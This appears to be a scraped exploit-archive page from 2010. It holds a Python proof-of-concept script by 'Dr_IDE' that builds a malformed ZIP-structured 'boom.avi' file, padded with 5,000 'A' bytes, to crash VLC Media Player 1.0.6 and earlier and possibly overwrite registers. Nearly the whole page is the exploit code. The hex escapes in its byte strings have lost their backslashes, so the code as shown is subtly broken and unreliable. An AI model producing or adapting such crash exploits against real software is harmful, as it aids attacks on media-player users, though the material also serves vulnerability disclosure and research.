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VLC Media Player <=1.0.6 Malformed Media File Crash PoC

Posted on 28 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>VLC Media Player &lt;=1.0.6 Malformed Media File Crash PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
VLC Media Player &lt;=1.0.6 Malformed Media File Crash PoC
=======================================================


#!/usr/bin/python
 
######################################################################################################
#
# VLC Media Player &lt;=1.0.6 Malformed Media File Crash PoC
# Found By: Dr_IDE
# Tested:   Windows 7, Ubuntu 9, OSX 10.6.X
# Download: http://www.videolan.org
# Notes:    Register overwrites seem very unpredictable at best...
# Greets:   Offsec and Corelan Teams
#
######################################################################################################
  
ldf_header = (&quot;x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00&quot;
&quot;x00x00x00x00x00x00x00x00xe4x0fx00x00x00&quot;)
  
cdf_header = (&quot;x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00&quot;
&quot;x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00x24x00x00&quot;
&quot;x00x00x00x00x00&quot;)
  
eofcdf_header = (&quot;x50x4Bx05x06x00x00x00x00x01x00x01x00&quot;
&quot;x12x10x00x00x02x10x00x00x00x00&quot;)
  
filename = &quot;VLC_Doesnt_Like_Videos_That_Are_Really_Zip_Files.AVI&quot;
  
exploit = filename
exploit += &quot;x41&quot; * 5000
  
print &quot;[+] Writing file&quot;
 
file = open('boom.avi','w'); #Anything here works, mpg, mp4, asf, mov etc...
file.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header);
file.close()
 
print &quot;[+] Exploit file created!!&quot;


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